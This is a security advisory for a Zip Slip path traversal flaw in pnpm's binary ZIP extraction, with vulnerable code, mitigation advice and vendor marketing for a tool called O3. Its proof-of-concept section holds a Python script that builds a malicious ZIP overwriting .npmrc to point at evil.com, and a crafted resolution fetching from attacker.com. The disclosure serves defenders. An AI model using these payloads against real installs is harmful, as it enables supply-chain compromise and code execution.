GHSA-6pfh-p556-v868
MEDIUMpnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
pnpmnpmDescription
Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.
Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)
AdmZip's extractAllTo does not validate entry paths for path traversal:
const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true) // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)
A ZIP entry with path ../../../.npmrc will be written outside nodeDir.
2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)
The basename variable comes from BinaryResolution.prefix and is used directly in path construction:
const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir
PoC
Attack Vector 1: ZIP Entry Path Traversal
import zipfile
import io
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
# Normal file
zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
# Malicious path traversal entry
zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')
with open('malicious-node.zip', 'wb') as f:
f.write(zip_buffer.getvalue())
Attack Vector 2: Prefix Traversal via malicious resolution:
{
"resolution": {
"type": "binary",
"url": "https://attacker.com/node.zip",
"prefix": "../../PWNED"
}
}
Impact
- All pnpm users who install packages with binary assets
- Users who configure custom Node.js binary locations
- CI/CD pipelines that auto-install binary dependencies
- Can overwrite config files, scripts, or other sensitive files leading to RCE
Verified on pnpm main @ commit 5a0ed1d45.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | pnpm | all versions | 10.28.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pnpm to 10.28.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6pfh-p556-v868 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6pfh-p556-v868 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6pfh-p556-v868. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6pfh-p556-v868 in your dependencies?
O3 detects GHSA-6pfh-p556-v868 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.